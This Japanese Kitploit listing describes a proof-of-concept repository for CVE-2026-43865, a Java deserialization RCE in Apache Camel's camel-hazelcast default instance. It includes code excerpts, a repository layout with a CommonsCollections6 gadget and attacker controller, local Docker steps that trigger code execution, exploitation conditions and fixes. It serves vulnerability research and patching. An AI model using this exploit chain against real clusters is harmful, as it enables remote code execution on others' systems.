Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-43865 — CVE-2026-43865 の再現コード — Apache Camel camel-hazelcast のデフォルト構成インスタンスにおける安全でない Java デシリアライゼーション(RCE) | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-43865
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育バイナリエクスプロイトラボと実践
GitHuboscerd/cve-2026-43865

CVE-2026-43865

CVE-2026-43865 の再現コード — Apache Camel camel-hazelcast のデフォルト構成インスタンスにおける安全でない Java デシリアライゼーション(RCE)

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

camel-hazelcast デフォルトインスタンスにおける安全でない逆シリアライゼーション再現ツール (CVE-2026-43865)

このプロジェクトは、Apache Camel の camel-hazelcast コンポーネントにおけるJava 逆シリアライゼーションの脆弱性を実証するもので、CVE-2026-43865 として追跡されています。Camel が Hazelcast の Config を自ら構築する場合 — つまり、ユーザーが提供した HazelcastInstance、hazelcastConfigUri、参照された Config ビーンが一切指定されていない場合 — Java 逆シリアライゼーションフィルタは適用されません(Hazelcast の JavaSerializationFilterConfig も、Camel 側の ObjectInputFilter も適用されません)。そのため、Hazelcast クラスタプロトコルを介して到着したオブジェクトは、クラス制限なしに Hazelcast のシリアライゼーション層(ObjectInputStream.readObject)内で逆シリアライズされます。クラスタに参加または到達できる攻撃者は、細工されたシリアライズ済みオブジェクトを公開でき、それがすべての Camel ノードで逆シリアライズされます — リモートコード実行となり、デフォルトで存在し、オプトインのエンドポイント設定も不要です。

アドバイザリ: https://camel.apache.org/security/CVE-2026-43865.html

脆弱性の概要

これは、Hazelcast ライブラリのアドバイザリ CVE-2016-10750 / CVE-2022-36418(Hazelcast 自身のコードに関するもの)とは異なります。ここでの欠陥は、Hazelcast が提供する逆シリアライゼーション保護を Camel が適用していないことです。

技術的詳細

インスタンス/設定が提供されない場合、HazelcastDefaultComponent は標準設定からインスタンスを構築し、シリアライゼーションフィルタを一切設定しません:

root@kitploit:~
// HazelcastDefaultComponent - affected 4.18.2
if (hazelcastInstance == null && config == null) {
    config = new XmlConfigBuilder().build();
    config.getProperties().setProperty("hazelcast.version.check.enabled", "false");
    config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
    hzInstance = Hazelcast.newHazelcastInstance(config);   // no JavaSerializationFilterConfig
}

修正では、Camel 自身が作成するインスタンスに対してデフォルトフィルタ(ホワイトリスト java./javax./org.apache.camel.、ブラックリスト java.net.)を挿入し、ユーザーが指定した Config/HazelcastInstance には手を加えません:

root@kitploit:~
// fixed 4.18.3 / 4.21.0
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
HazelcastSerializationFilterHelper.applyDefault(config);   // <-- added
hzInstance = Hazelcast.newHazelcastInstance(config);

逆シリアライズされたオブジェクトを Camel に引き渡す構造はどれでもこれをトリガーします。この PoC は Poll モードの queue コンシューマーを使用しており、IQueue.poll() が Camel がルーティングする前に先頭要素を逆シリアライズします:

root@kitploit:~
// HazelcastQueueConsumer (Poll mode) - affected
final Object body = queue.poll(config.getPollingTimeout(), TimeUnit.MILLISECONDS);  // readObject, no filter
exchange.getIn().setBody(body);

被害者ルート

root@kitploit:~
from("hazelcast-queue:cve?queueConsumerMode=Poll")   // Camel builds the default (unfiltered) instance
    .log("Consumed: ${body.class.name}");

リポジトリ構成 — 攻撃者 vs 被害者

被害者 は Camel ノード(Hazelcast メンバー)です。攻撃者 はクラスタに到達できる任意の主体です。この自己完結型 PoC は、同じシングルメンバークラスタ(127.0.0.1:5701 上の dev)に参加し、被害者が消費するキューにガジェットを提供する Hazelcast クライアント(攻撃者)を実行します。

root@kitploit:~
CVE-2026-43865/
├── pom.xml                 # camel-hazelcast 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile              # runs the app (--add-opens for gadget build; loopback cluster address)
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # victim: hazelcast-queue consumer (default instance)
    │   ├── Gadget.java             # CommonsCollections6 gadget, fires during Hazelcast deserialization
    │   └── ExploitController.java  # attacker: Hazelcast client offers the gadget to the queue
    └── resources/
        └── application.properties

実際の攻撃では、シリアライズされたバイト列は攻撃者自身の Hazelcast クライアント/メンバーによって生成されます。ガジェットチェーンがクラスパス上にある必要があるのは被害者のみです。この PoC はガジェットをプロセス内で構築するため、JVM は --add-opens java.base/java.util=ALL-UNNAMED で実行されます — これはガジェット構築の詳細であり、脆弱性とは無関係です。

前提条件

  • Java 17+ と Maven 3.8+
  • Docker(再現ツールの実行に使用)

再現手順

ステップ 1: コンテナをビルドして起動

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

ステップ 2: 逆シリアライゼーション(RCE)をトリガー

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> Offered gadget to hazelcast queue 'cve' as a cluster client.
#    The Camel node's queue.poll() deserialized it via Hazelcast (no filter).
#
#    >>> RCE proof — /tmp/pwned exists: true

ステップ 3: 検証

root@kitploit:~
docker exec cve-2026-43865 ls -la /tmp/pwned

クリーンアップ

root@kitploit:~
docker compose down

攻撃ベクトル

hazelcast コンシューマー(hazelcast-topic、hazelcast-queue、hazelcast-seda、hazelcast-map、hazelcast-multimap、hazelcast-replicatedmap、hazelcast-list、hazelcast-set)または HazelcastAggregationRepository / HazelcastIdempotentRepository を使用する任意の Camel ルートで、管理インスタンスが Camel のデフォルト設定から作成され、攻撃者がクラスタに到達できる場合。

悪用条件

  1. Camel がデフォルト設定から作成したインスタンスを使用する camel-hazelcast コンシューマー/リポジトリ(ユーザー指定の HazelcastInstance / hazelcastConfigUri / Config ビーンなし)。
  2. 攻撃者が Hazelcast クラスタに参加または到達できる(デフォルトでは認証/TLS なし)。
  3. クラスパス上にガジェットライブラリが存在する(ここでは commons-collections:3.2.1)。

推奨される修正

Camel が自身のデフォルト設定から作成するインスタンスにデフォルトの Hazelcast JavaSerializationFilterConfig を適用する 4.14.8 / 4.18.3 / 4.21.0(CAMEL-23414)にアップグレードします。

回避策

アップグレードまでの間:

  1. Hazelcast インスタンスに逆シリアライゼーションフィルタを設定します(JavaSerializationFilterConfig、または JVM 全体の -Djdk.serialFilter=!java.net.**;java.**;javax.**;org.apache.camel.**;!*)。
  2. Hazelcast のクラスタ認証と TLS を有効にして、クラスタに到達できる主体を制限します。
  3. クラスパスからガジェットライブラリを削除します(commons-collections 3.x などをアップグレードまたは削除)。

免責事項

この再現ツールは、公開され修正済みの脆弱性に関するセキュリティ研究および許可されたテストのみを目的として提供されています。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード
プロパティ値
コンポーネントcamel-hazelcast (任意のコンシューマー + HazelcastAggregationRepository / HazelcastIdempotentRepository)
影響を受けるクラスorg.apache.camel.component.hazelcast.HazelcastDefaultComponent (デフォルト設定インスタンスの生成)
CWECWE-502: 信頼できないデータの逆シリアライゼーション
影響クラスタ内のすべての Camel ノードでのリモートコード実行 (RCE)
トリガーCamel のデフォルト設定から作成された管理インスタンスを使用する hazelcast コンシューマー/リポジトリ
影響を受けるバージョン4.0.0 から 4.14.8 未満、4.15.0 から 4.18.3 未満、4.19.0 から 4.21.0 未満
修正済みバージョン4.14.8、4.18.3、4.21.0
JIRACAMEL-23414
報告者gaorenyusi